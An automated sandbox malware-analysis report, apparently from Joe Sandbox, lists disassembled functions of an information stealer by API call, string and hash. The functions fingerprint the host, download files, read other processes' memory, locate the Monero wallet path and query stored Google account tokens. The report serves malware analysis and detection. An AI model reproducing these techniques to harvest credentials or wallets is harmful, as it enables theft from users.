UnDecorator::getScopedName.LIBCMT ref: 001A1380
DName::operator+=.LIBCMT ref: 001A138A
DName::operator+=.LIBCMT ref: 001A1399
DName::operator+=.LIBCMT ref: 001A13A5
DName::operator+=.LIBCMT ref: 001A13B2

Strings

void, xrefs: 001A1391

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Name::operator+=$Name$Decorator::Decorator::getName::Name::doPcharScopedScore
String ID: void
API String ID: 1480779885-3531332078
Opcode ID: d49df154aa80fcbdd0cb36a2b54b1621918db420cfb0f7a23025eec75fa98aaf
Instruction ID: d10686a721753088862ea3d127a61dbc2b586203d04042a7bb86f100eb05b77f
Opcode Fuzzy Hash: d49df154aa80fcbdd0cb36a2b54b1621918db420cfb0f7a23025eec75fa98aaf
Instruction Fuzzy Hash: A7118276D04148BFCF19EF64C85AAAD7BA4FF21311F0840A9E006DB6E6DB70DA45C741

Function 00191538 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

CreateDCA.GDI32(00000000,00000000,00000000,00000000), ref: 0019154A
GetDeviceCaps.GDI32(00000000,00000008), ref: 00191555
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00191560
ReleaseDC.USER32(00000000,00000000), ref: 0019156B
GetProcessHeap.KERNEL32(00000000,00000104,?,?,001940D8,?,Display Resolution: ,001B68FC,00000000,User Name: ,001B68EC,00000000,Computer Name: ,001B68D8,AV: ,001B68CC), ref: 00191577
HeapAlloc.KERNEL32(00000000,?,?,001940D8,?,Display Resolution: ,001B68FC,00000000,User Name: ,001B68EC,00000000,Computer Name: ,001B68D8,AV: ,001B68CC,Install Date: ), ref: 0019157E
wsprintfA.USER32 ref: 00191590

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Strings

%dx%d, xrefs: 0019158A

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: CapsDeviceHeap$AllocCreateProcessReleaselstrcpywsprintf
String ID: %dx%d
API String ID: 3940144428-2206825331
Opcode ID: 4dc4a18d9684fdd16464321f48985416fb7e3241bc916cabcb0a37bfd880b6fd
Instruction ID: 3df507d4297b80a6b286044508676358331bd2168b110778e5bad3473f515894
Opcode Fuzzy Hash: 4dc4a18d9684fdd16464321f48985416fb7e3241bc916cabcb0a37bfd880b6fd
Instruction Fuzzy Hash: C3F04F76642220BBE7123BA5FC4DDAB7F6CEF4ABA5F000416FA05DB160D6B45D008BA4

Function 001867ED Relevance: 13.6, APIs: 9, Instructions: 110networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 001904EE: lstrcpyA.KERNEL32(00000000,?,?,00181D07,?,00197663), ref: 0019050D

Part of subcall function 00184AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00184AE8
Part of subcall function 00184AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00184AEE
Part of subcall function 00184AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00184AF4
Part of subcall function 00184AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00184B06
Part of subcall function 00184AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00184B0E

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00186836
StrCmpCA.SHLWAPI(?), ref: 00186856
InternetOpenUrlA.WININET(?,?,00000000,00000000,-00800100,00000000), ref: 00186877
CreateFileA.KERNEL32(?,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00186892
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 001868C8
InternetReadFile.WININET(00000000,?,00000400,?), ref: 001868F8
CloseHandle.KERNEL32(?), ref: 00186923
InternetCloseHandle.WININET(00000000), ref: 0018692A
InternetCloseHandle.WININET(?), ref: 00186936

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 4ec193fa2feb926c3e207808a3c19bd6a7e000660a7ec349e0e1840f6b822a1d
Instruction ID: c08891ce38132c3547cb02f5d33069ecbdb246550fe1cddcb6422894762df5cb
Opcode Fuzzy Hash: 4ec193fa2feb926c3e207808a3c19bd6a7e000660a7ec349e0e1840f6b822a1d
Instruction Fuzzy Hash: 9B411AB1901128ABDF21AF60ED45BDA7BBCFB04315F1005A6FB09A6161DB309E858FA5

Function 001A665D Relevance: 13.6, APIs: 9, Instructions: 64COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 001A6684
_free.LIBCMT ref: 001A6692
_free.LIBCMT ref: 001A669D
_free.LIBCMT ref: 001A6671

Part of subcall function 0019D98B: HeapFree.KERNEL32(00000000,00000000,?,0019D1D3,00000000,001BB6F4,0019D21A,0018EE93,?,?,0019D304,001BB6F4,?,?,001AEC88,001BB6F4), ref: 0019D9A1
Part of subcall function 0019D98B: GetLastError.KERNEL32(?,?,?,0019D304,001BB6F4,?,?,001AEC88,001BB6F4,?,?,?), ref: 0019D9B3

___free_lc_time.LIBCMT ref: 001A66BB
_free.LIBCMT ref: 001A66C6
_free.LIBCMT ref: 001A66EB
_free.LIBCMT ref: 001A6702
_free.LIBCMT ref: 001A6711

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lc_time
String ID:
API String ID: 3704779436-0
Opcode ID: 043201e2c37b0404a8f32b9aa27cd0eef1f5011780d2588a33a194a15a9e14e4
Instruction ID: 08783690665eeb711fdf97299c68dbe8083deb529513a245d2058d1f1443043c
Opcode Fuzzy Hash: 043201e2c37b0404a8f32b9aa27cd0eef1f5011780d2588a33a194a15a9e14e4
Instruction Fuzzy Hash: 3711C4B6110701DBDF20BF65E886B99B3A5AB1271DF1C093AF10A97111CB30A850CA22

Function 0018FB02 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 159COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000,?,?,?), ref: 0018FB27
OpenProcess.KERNEL32(001FFFFF,00000000,00000000), ref: 0018FB53
_memset.LIBCMT ref: 0018FB96
??_V@YAXPAX@Z.MSVCRT(?), ref: 0018FCEC

Part of subcall function 0018F005: _memmove.LIBCMT ref: 0018F01F

Strings

N0ZWFt, xrefs: 0018FC53

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: OpenProcess_memmove_memset
String ID: N0ZWFt
API String ID: 2647191932-431618156
Opcode ID: 55fc93c48107c6b73c2ab6974843768a137af029b6e822c621839075f8a2ce8e
Instruction ID: f5ca72d35da8d704169d9a40f5fecc65adf9848f0dcc77bf83cb18e8be8e2323
Opcode Fuzzy Hash: 55fc93c48107c6b73c2ab6974843768a137af029b6e822c621839075f8a2ce8e
Instruction Fuzzy Hash: 2F516AB190022C9FCB24AF64CC85AEDB7B9AB54304F0101FEE609A7152EB716F89CF55

Function 0018F8EA Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000000,?,00000000,00000000,?,?,?,?,?,0018FBB8,?,00000000,00000000,?,?), ref: 0018F909
VirtualQueryEx.KERNEL32(?,00000000,?,0000001C,?,?,?,?,?,?,?,?,0018FBB8,?,00000000,00000000), ref: 0018F933
ReadProcessMemory.KERNEL32(?,00000000,?,00064000,00000000,?,?,?,?,?,?,?,?), ref: 0018F980
ReadProcessMemory.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 0018F9D9
VirtualQueryEx.KERNEL32(?,?,?,0000001C), ref: 0018FA31
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,0018FBB8,?,00000000,00000000,?,?), ref: 0018FA42

Strings

@, xrefs: 0018F94C

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: MemoryProcessQueryReadVirtual
String ID: @
API String ID: 3835927879-2766056989
Opcode ID: 1fdece4b323df11bf66f57dfcf15f21933dd16b51529cc547ee18769f523712d
Instruction ID: c74b15f2a31672bed961c167102f22c454b9f4eb4249c08090496ea1ae935a04
Opcode Fuzzy Hash: 1fdece4b323df11bf66f57dfcf15f21933dd16b51529cc547ee18769f523712d
Instruction Fuzzy Hash: B7417C32A00209BBDF15AFA1DC49BEF7B76EB48764F148039FA04A6190D7758A52DF90

Function 00181A51 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 35registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00181A65
HeapAlloc.KERNEL32(00000000), ref: 00181A6C
RegOpenKeyExA.ADVAPI32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00181AE9), ref: 00181A89
RegQueryValueExA.ADVAPI32(00181AE9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00181AA4
RegCloseKey.ADVAPI32(00181AE9), ref: 00181AAD

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00181A7F
wallet_path, xrefs: 00181A9C

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: SOFTWARE\monero-project\monero-core$wallet_path
API String ID: 3466090806-4244082812
Opcode ID: 8707ab4d0f9b66b910982da5ab87f18220316a2bd1e9590dfd3a3341684d00d4
Instruction ID: caba3f27bd2b3776a1f161ac8e52bcdcd58c2d0e8af6f27d019b8b154f85ef64
Opcode Fuzzy Hash: 8707ab4d0f9b66b910982da5ab87f18220316a2bd1e9590dfd3a3341684d00d4
Instruction Fuzzy Hash: C0F05E76640304BFFB116B90EC0BFAE7F7CEB44B05F140125F701AA090D7B0AA409B20

Function 001899E1 Relevance: 12.2, APIs: 4, Strings: 4, Instructions: 224stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

lstrlenA.KERNEL32(?), ref: 00189B87

Part of subcall function 00191DF4: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00196973,?), ref: 00191E0C

StrStrA.SHLWAPI(00000000,AccountId), ref: 00189BA4
lstrlenA.KERNEL32(?), ref: 00189C53
lstrlenA.KERNEL32(?), ref: 00189C6E

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 0019059C: lstrcpyA.KERNEL32(00000000,?,0000000C,0019762B,001B66D6), ref: 001905CA
Part of subcall function 0019059C: lstrcatA.KERNEL32(?,?), ref: 001905D4

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 00189AF2
GoogleAccounts, xrefs: 00189A61
GoogleAccounts, xrefs: 00189A0A
AccountId, xrefs: 00189B9E

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
